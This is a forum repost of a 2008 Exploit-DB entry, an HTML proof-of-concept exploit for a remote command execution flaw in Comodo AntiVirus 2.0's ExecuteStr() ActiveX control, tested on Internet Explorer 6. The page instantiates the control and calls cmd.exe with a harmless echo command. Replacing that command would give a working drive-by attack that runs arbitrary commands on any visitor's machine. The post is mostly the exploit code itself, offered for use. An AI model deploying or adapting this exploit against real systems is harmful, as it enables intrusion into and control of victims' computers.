Exploit Comodo AntiVirus 2.0 - 'ExecuteStr()' Remote Command Execution

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
4974
Проверка EDB
  1. Пройдено
Автор
H07
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2008-0470
Дата публикации
2008-01-23
HTML:
<!--
Comodo AntiVirus 2.0 ExecuteStr() 0day Remote Command Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <[email protected]>
Tested on:..
- Comodo AntiVirus Beta 2.0
- Microsoft Internet Explorer 6
Just for fun  ;)  
-->

<html>
<object id="obj" classid="clsid:309F674D-E4D3-46BD-B9E2-ED7DFD7FD176"></object>

<script>
obj.ExecuteStr('cmd.exe', '/C echo "hello world" && pause');
</script>

</html>

# milw0rm.com [2008-01-23]
 
Источник
www.exploit-db.com

Похожие темы